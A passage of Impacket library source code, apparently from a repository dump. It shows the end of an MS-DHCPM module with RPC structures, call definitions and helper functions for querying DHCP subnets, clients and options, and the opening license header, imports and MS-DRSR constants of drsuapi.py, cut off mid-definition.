('Data', DHCP_OPTION_DATA_ELEMENT_ARRAY2),\n    )\n\nclass DHCP_OPTION_DATA(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Elements', LPDHCP_OPTION_DATA_ELEMENT),\n    )\n\nclass DHCP_OPTION_VALUE(NDRSTRUCT):\n    structure = (\n        ('OptionID', DHCP_OPTION_ID),\n        ('Value', DHCP_OPTION_DATA),\n    )\n\nclass PDHCP_OPTION_VALUE(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_OPTION_VALUE),\n    )\n\nclass DHCP_OPTION_VALUE_ARRAY2(NDRUniConformantArray):\n    item = DHCP_OPTION_VALUE\n\nclass LPDHCP_OPTION_VALUE(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_OPTION_VALUE_ARRAY2),\n    )\n\nclass DHCP_OPTION_VALUE_ARRAY(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Values', LPDHCP_OPTION_VALUE),\n    )\n\nclass LPDHCP_OPTION_VALUE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_OPTION_VALUE_ARRAY),\n    )\n\nclass DHCP_ALL_OPTION_VALUES(NDRSTRUCT):\n    structure = (\n        ('ClassName', LPWSTR),\n        ('VendorName', LPWSTR),\n        ('IsVendor', BOOL),\n        ('OptionsArray', LPDHCP_OPTION_VALUE_ARRAY),\n    )\n\nclass OPTION_VALUES_ARRAY(NDRUniConformantArray):\n    item = DHCP_ALL_OPTION_VALUES\n\nclass LPOPTION_VALUES_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', OPTION_VALUES_ARRAY),\n    )\n\nclass DHCP_ALL_OPTIONS_VALUES(NDRSTRUCT):\n    structure = (\n        ('Flags', DWORD),\n        ('NumElements', DWORD),\n        ('Options', LPOPTION_VALUES_ARRAY),\n    )\n\nclass LPDHCP_ALL_OPTION_VALUES(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_ALL_OPTIONS_VALUES),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# Interface dhcpsrv\nclass DhcpGetSubnetInfo(NDRCALL):\n    opnum = 2\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SubnetAddress', DHCP_IP_ADDRESS),\n    )\n\nclass DhcpGetSubnetInfoResponse(NDRCALL):\n    structure = (\n        ('SubnetInfo', LPDHCP_SUBNET_INFO),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpEnumSubnets(NDRCALL):\n    opnum = 3\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('ResumeHandle', LPDWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumSubnetsResponse(NDRCALL):\n    structure = (\n        ('ResumeHandle', LPDWORD),\n        ('EnumInfo', DHCP_IP_ARRAY),\n        ('EnumRead', DWORD),\n        ('EnumTotal', DWORD),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpGetOptionValue(NDRCALL):\n    opnum = 13\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('OptionID', DHCP_OPTION_ID),\n        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),\n    )\n\nclass DhcpGetOptionValueResponse(NDRCALL):\n    structure = (\n        ('OptionValue', PDHCP_OPTION_VALUE),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpEnumOptionValues(NDRCALL):\n    opnum = 14\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),\n        ('ResumeHandle', LPDWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumOptionValuesResponse(NDRCALL):\n    structure = (\n        ('ResumeHandle', DWORD),\n        ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY),\n        ('OptionsRead', DWORD),\n        ('OptionsTotal', DWORD),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpGetClientInfoV4(NDRCALL):\n    opnum = 34\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SearchInfo', DHCP_SEARCH_INFO),\n    )\n\nclass DhcpGetClientInfoV4Response(NDRCALL):\n    structure = (\n        ('ClientInfo', LPDHCP_CLIENT_INFO_V4),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpEnumSubnetClientsV4(NDRCALL):\n    opnum = 35\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SubnetAddress', DHCP_IP_ADDRESS),\n        ('ResumeHandle', DWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumSubnetClientsV4Response(NDRCALL):\n    structure = (\n        ('ResumeHandle', LPDWORD),\n        ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_V4),\n        ('ClientsRead', DWORD),\n        ('ClientsTotal', DWORD),\n        ('ErrorCode', ULONG),\n    )\n\n# Interface dhcpsrv2\n\nclass DhcpEnumSubnetClientsV5(NDRCALL):\n    opnum = 0\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SubnetAddress', DHCP_IP_ADDRESS),\n        ('ResumeHandle', LPDWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumSubnetClientsV5Response(NDRCALL):\n    structure = (\n        ('ResumeHandle', DWORD),\n        ('ClientsInfo', LPDHCP_CLIENT_INFO_ARRAY_V5),\n        ('ClientsRead', DWORD),\n        ('ClientsTotal', DWORD),\n    )\n\nclass DhcpGetOptionValueV5(NDRCALL):\n    opnum = 21\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('Flags', DWORD),\n        ('OptionID', DHCP_OPTION_ID),\n        ('ClassName', LPWSTR),\n        ('VendorName', LPWSTR),\n        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),\n    )\n\nclass DhcpGetOptionValueV5Response(NDRCALL):\n    structure = (\n        ('OptionValue', PDHCP_OPTION_VALUE),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpEnumOptionValuesV5(NDRCALL):\n    opnum = 22\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('Flags', DWORD),\n        ('ClassName', LPWSTR),\n        ('VendorName', LPWSTR),\n        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),\n        ('ResumeHandle', LPDWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumOptionValuesV5Response(NDRCALL):\n    structure = (\n        ('ResumeHandle', DWORD),\n        ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY),\n        ('OptionsRead', DWORD),\n        ('OptionsTotal', DWORD),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpGetAllOptionValues(NDRCALL):\n    opnum = 30\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('Flags', DWORD),\n        ('ScopeInfo', DHCP_OPTION_SCOPE_INFO),\n    )\n\nclass DhcpGetAllOptionValuesResponse(NDRCALL):\n    structure = (\n        ('Values', LPDHCP_ALL_OPTION_VALUES),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpEnumSubnetElementsV5(NDRCALL):\n    opnum = 38\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SubnetAddress', DHCP_IP_ADDRESS),\n        ('EnumElementType', DHCP_SUBNET_ELEMENT_TYPE),\n        ('ResumeHandle', LPDWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumSubnetElementsV5Response(NDRCALL):\n    structure = (\n        ('ResumeHandle', DWORD),\n        ('EnumElementInfo', LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5),\n        ('ElementsRead', DWORD),\n        ('ElementsTotal', DWORD),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpEnumSubnetClientsVQ(NDRCALL):\n    opnum = 47\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SubnetAddress', DHCP_IP_ADDRESS),\n        ('ResumeHandle', LPDWORD),\n        ('PreferredMaximum', DWORD),\n    )\n\nclass DhcpEnumSubnetClientsVQResponse(NDRCALL):\n    structure = (\n        ('ResumeHandle', LPDWORD),\n        ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_VQ),\n        ('ClientsRead', DWORD),\n        ('ClientsTotal', DWORD),\n        ('ErrorCode', ULONG),\n    )\n\nclass DhcpV4GetClientInfo(NDRCALL):\n    opnum = 123\n    structure = (\n        ('ServerIpAddress', DHCP_SRV_HANDLE),\n        ('SearchInfo', DHCP_SEARCH_INFO),\n    )\n\nclass DhcpV4GetClientInfoResponse(NDRCALL):\n    structure = (\n        ('ClientInfo', LPDHCP_CLIENT_INFO_PB),\n        ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n    0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response),\n    2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse),\n    3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse),\n    13: (DhcpGetOptionValue, DhcpGetOptionValueResponse),\n    14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse),\n    21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response),\n    22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response),\n    30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse),\n    34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response),\n    35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response),\n    38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response),\n    47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse),\n    123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse),\n}\n\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hDhcpGetClientInfoV4(dce, searchType, searchValue):\n    request = DhcpGetClientInfoV4()\n\n    request['ServerIpAddress'] = NULL\n    request['SearchInfo']['SearchType'] = searchType\n    request['SearchInfo']['SearchInfo']['tag'] = searchType\n    if searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress:\n        request['SearchInfo']['SearchInfo']['ClientIpAddress'] = searchValue\n    elif searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress:\n        # This should be a DHCP_BINARY_DATA\n        request['SearchInfo']['SearchInfo']['ClientHardwareAddress'] = searchValue\n    else:\n        request['SearchInfo']['SearchInfo']['ClientName'] = searchValue\n\n    return dce.request(request)\n\ndef hDhcpGetSubnetInfo(dce, subnetaddress):\n    request = DhcpGetSubnetInfo()\n\n    request['ServerIpAddress'] = NULL\n    request['SubnetAddress'] = subnetaddress\n    resp = dce.request(request)\n\n    return resp\n\ndef hDhcpGetOptionValue(dce, optionID, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL):\n    request = DhcpGetOptionValue()\n\n    request['ServerIpAddress'] = NULL\n    request['OptionID'] = optionID\n    request['ScopeInfo']['ScopeType'] = scopetype\n    if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions:\n        request['ScopeInfo']['ScopeInfo']['tag'] = scopetype\n    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:\n        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:\n        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:\n        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options\n\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL,\n                          preferredMaximum=0xffffffff):\n    request = DhcpEnumOptionValues()\n\n    request['ServerIpAddress'] = NULL\n    request['ScopeInfo']['ScopeType'] = scopetype\n    if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions:\n        request['ScopeInfo']['ScopeInfo']['tag'] = scopetype\n    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:\n        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:\n        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:\n        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumOptionValuesV5(dce, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL,\n                            scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL,\n                            preferredMaximum=0xffffffff):\n    request = DhcpEnumOptionValuesV5()\n\n    request['ServerIpAddress'] = NULL\n    request['Flags'] = flags\n    request['ClassName'] = classname\n    request['VendorName'] = vendorname\n    request['ScopeInfo']['ScopeType'] = scopetype\n    request['ScopeInfo']['ScopeInfo']['tag'] = scopetype\n    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:\n        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:\n        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:\n        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpGetOptionValueV5(dce, option_id, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL,\n                            scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL):\n    request = DhcpGetOptionValueV5()\n\n    request['ServerIpAddress'] = NULL\n    request['Flags'] = flags\n    request['OptionID'] = option_id\n    request['ClassName'] = classname\n    request['VendorName'] = vendorname\n    request['ScopeInfo']['ScopeType'] = scopetype\n    request['ScopeInfo']['ScopeInfo']['tag'] = scopetype\n    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:\n        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:\n        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:\n        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options\n\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpGetAllOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL):\n    request = DhcpGetAllOptionValues()\n\n    request['ServerIpAddress'] = NULL\n    request['Flags'] = NULL\n    request['ScopeInfo']['ScopeType'] = scopetype\n    request['ScopeInfo']['ScopeInfo']['tag'] = scopetype\n    if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions:\n        request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions:\n        request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options\n    elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions:\n        request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options\n\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumSubnets(dce, preferredMaximum=0xffffffff):\n    request = DhcpEnumSubnets()\n\n    request['ServerIpAddress'] = NULL\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumSubnetClientsVQ(dce, preferredMaximum=0xffffffff):\n    request = DhcpEnumSubnetClientsVQ()\n\n    request['ServerIpAddress'] = NULL\n    request['SubnetAddress'] = NULL\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumSubnetClientsV4(dce, preferredMaximum=0xffffffff):\n    request = DhcpEnumSubnetClientsV4()\n\n    request['ServerIpAddress'] = NULL\n    request['SubnetAddress'] = NULL\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumSubnetClientsV5(dce, subnetAddress=0, preferredMaximum=0xffffffff):\n    request = DhcpEnumSubnetClientsV5()\n\n    request['ServerIpAddress'] = NULL\n    request['SubnetAddress'] = subnetAddress\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hDhcpEnumSubnetElementsV5(dce, subnet_address, element_type=DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges, preferredMaximum=0xffffffff):\n    request = DhcpEnumSubnetElementsV5()\n\n    request['ServerIpAddress'] = NULL\n    request['SubnetAddress'] = subnet_address\n    request['EnumElementType'] = element_type\n    request['ResumeHandle'] = NULL\n    request['PreferredMaximum'] = preferredMaximum\n\n    status = system_errors.ERROR_MORE_DATA\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/drsuapi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-DRSR] Directory Replication Service (DRS) DRSUAPI Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom builtins import bytes\nimport hashlib\nfrom struct import pack\nimport six\nfrom six import PY2\n\nfrom impacket import LOG\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM\nfrom impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER\nfrom impacket import hresult_errors, system_errors\nfrom impacket.structure import Structure\nfrom impacket.uuid import uuidtup_to_bin, string_to_bin\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.krb5 import crypto\nfrom pyasn1.type import univ\nfrom pyasn1.codec.ber import decoder\nfrom impacket.crypto import transformKey\n\ntry:\n    from Cryptodome.Cipher import ARC4, DES\nexcept Exception:\n    LOG.critical(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n    LOG.critical(\"See https://pypi.org/project/pycryptodomex/\")\n\nMSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        elif key & 0xffff in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]\n            return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 4.1.10.2.17 EXOP_ERR Codes\nclass EXOP_ERR(NDRENUM):\n    align = 4\n    align64 = 4\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        EXOP_ERR_SUCCESS               = 0x00000001\n        EXOP_ERR_UNKNOWN_OP            = 0x00000002\n        EXOP_ERR_FSMO_NOT_OWNER        = 0x00000003\n        EXOP_ERR_UPDATE_ERR            = 0x00000004\n        EXOP_ERR_EXCEPTION             = 0x00000005\n        EXOP_ERR_UNKNOWN_CALLER        = 0x00000006\n        EXOP_ERR_RID_ALLOC             = 0x00000007\n        EXOP_ERR_FSMO_OWNER_DELETED    = 0x00000008\n        EXOP_ERR_FSMO_PENDING_OP       = 0x00000009\n        EXOP_ERR_MISMATCH              = 0x0000000A\n        EXOP_ERR_COULDNT_CONTACT       = 0x0000000B\n        EXOP_ERR_FSMO_REFUSING_ROLES   = 0x0000000C\n        EXOP_ERR_DIR_ERROR             = 0x0000000D\n        EXOP_ERR_FSMO_MISSING_SETTINGS = 0x0000000E\n        EXOP_ERR_ACCESS_DENIED         = 0x0000000F\n        EXOP_ERR_PARAM_ERROR           = 0x00000010\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(msg, end=' ')\n\n        try:\n            print(\" %s\" % self.enumItems(self.fields['Data']).name, end=' ')\n        except ValueError:\n            print(\" %d\" % self.fields['Data'])\n\n# 4.1.10.2.18 EXOP_REQ Codes\nEXOP_FSMO_REQ_ROLE = 0x00000001\nEXOP_FSMO_REQ_RID_ALLOC = 0x00000002\nEXOP_FSMO_RID_REQ_ROLE = 0x00000003\nEXOP_FSMO_REQ_PDC = 0x00000004\nEXOP_FSMO_ABANDON_ROLE = 0x00000005\nEXOP_REPL_OBJ = 0x00000006\nEXOP_REPL_SECRETS = 0x00000007\n\n# 5.14 ATTRTYP\nATTRTYP = ULONG\n\n# 5.51 DSTIME\nDSTIME = LONGLONG\n\n# 5.39 DRS_EXTENSIONS_INT\nDRS_EXT_BASE = 0x00000001\nDRS_EXT_ASYNCREPL = 0x00000002\nDRS_EXT_REMOVEAPI = 0x00000004\nDRS_EXT_MOVEREQ_V2 = 0x00000008\nDRS_EXT_GETCHG_DEFLATE = 0x00000010\nDRS_EXT_DCINFO_V1 = 0x00000020\nDRS_EXT_RESTORE_USN_OPTIMIZATION = 0x00000040\nDRS_EXT_ADDENTRY = 0x00000080\nDRS_EXT_KCC_EXECUTE = 0x00000100\nDRS_EXT_ADDENTRY_V2 = 0x00000200\nDRS_EXT_LINKED_VALUE_REPLICATION = 0x00000400\nDRS_EXT_DCINFO_V2 = 0x00000800\nDRS_EXT_INSTANCE_TYPE_NOT_REQ_ON_MOD = 0x00001000\nDRS_EXT_CRYPTO_BIND = 0x00002000\nDRS_EXT_GET_REPL_INFO = 0x00004000\nDRS_EXT_STRONG_ENCRYPTION = 0x00008000\nDRS_EXT_DCINFO_VFFFFFFFF = 0x00010000\nDRS_EXT_TRANSITIVE_MEMBERSHIP = 0x00020000\nDRS_EXT_ADD_SID_HISTORY = 0x00040000\nDRS_EXT_POST_BETA3 = 0x00080000\nDRS_EXT_GETCHGREQ_V5 = 0x00100000\nDRS_EXT_GETMEMBERSHIPS2 = 0x00200000\nDRS_EXT_GETCHGREQ_V6 = 0x00400000\nDRS_EXT_NONDOMAIN_NCS = 0x00800000\nDRS_EXT_GETCHGREQ_V8 = 0x01000000\nDRS_EXT_GETCHGREPLY_V5 = 0x02000000\nDRS_EXT_GETCHGREPLY_V6 = 0x04000000\nDRS_EXT_GETCHGREPLY_V9 = 0x00000100\nDRS_EXT_WHISTLER_BETA3 = 0x08000000\nDRS_EXT_W2K3_DEFLATE = 0x10000000\nDRS_EXT_GETCHGREQ_V10 = 0x20000000\nDRS_EXT_RESERVED_FOR_WIN2K_OR_DOTNET_PART2 = 0x40000000\nDRS_EXT_RESERVED_FOR_WIN2K_OR_DOTNET_PART3 = 0x80000000\n\n# dwFlagsExt\nDRS_EXT_ADAM = 0x00000001\nDRS_EXT_LH_BETA2 = 0x00000002\nDRS_EXT_RECYCLE_BIN = 0x00000004\n\n# 5.41 DRS_OPTIONS\nDRS_ASYNC_OP = 0x00000001\nDRS_GETCHG_CHECK = 0x00000002\nDRS_UPDATE_NOTIFICATION = 0x00000002\nDRS_ADD_REF = 0x00000004\nDRS_SYNC_ALL = 0x00000008\nDRS_DEL_REF = 0x00000008\nDRS_WRIT_REP = 0x00000010\nDRS_INIT_SYNC = 0x00000020\nDRS_PER_SYNC = 0x00000040\nDRS_MAIL_REP = 0x00000080\nDRS_ASYNC_REP = 0x00000100\nDRS_IGNORE_ERROR = 0x00000100\nDRS_TWOWAY_SYNC = 0x00000200\nDRS_CRITICAL_ONLY = 0x00000400\nDRS_GET_ANC = 0x00000800\nDRS_GET_NC_SIZE = 0x00001000\nDRS_LOCAL_ONLY = 0x00001000\nDRS_NONGC_RO_REP = 0x00002000\nDRS_SYNC_BYNAME = 0x00004000\nDRS_REF_OK = 0x00004000\nDRS_FULL_SYNC_NOW = 0x00008000\nDRS_NO_SOURCE = 0x00008000\nDRS_FULL_SYNC_IN_PROGRESS = 0x00010000\nDRS_FULL_SYNC_PACKET = 0x00020000\nDRS_SYNC_REQUEUE = 0x00040000\nDRS_SYNC_URGENT = 0x00080000\nDRS_REF_GCSPN = 0x00100000\nDRS_NO_DISCARD = 0x00100000\nDRS_NEVER_SYNCED = 0x00200000\nDRS_SPECIAL_SECRET_PROCESSING = 0x00400000\nDRS_INIT_SYNC_NOW = 0x00800000\nDRS_PREEMPTED = 0x01000000\nDRS_SYNC_FORCED = 0x02000000\nDRS_DISABLE_AUTO_SYNC = 0x04000000\nDRS_DISABLE_PERIODIC_SYNC = 0x08000000\nDRS_USE_COMPRESSION = 0x10000000\nDRS_NEVER_NOTIFY = 0x20000000\nDRS_SYNC_PAS = 0x40000000\nDRS_GET_ALL_GROUP_MEMBERSHIP = 0x80000000\n\n\n# 5.113 LDAP_CONN_PROPERTIES\nBND = 0x00000001\nSSL = 0x00000002\nUDP = 0x00000004\nGC = 0x00000008\nGSS = 0x00000010\nNGO = 0x00000020\nSPL = 0x00000040\nMD5 = 0x00000080\nSGN = 0x00000100\nSL = 0x00000200\n\n# 5.137 NTSAPI_CLIENT_GUID\nNTDSAPI_CLIENT_GUID = string_to_bin('e24d201a-4fd6-11d1-a3da-0000f875ae0d')\n\n# 5.139 NULLGUID\nNULLGUID = string_to_bin('00000000-0000-0000-0000-000000000000')\n\n# 5.205 USN\nUSN = LONGLONG\n\n# 4.1.4.1.2 DRS_MSG_CRACKREQ_V1\nDS_NAME_FLAG_GCVERIFY = 0x00000004\nDS_NAME_FLAG_TRUST_REFERRAL = 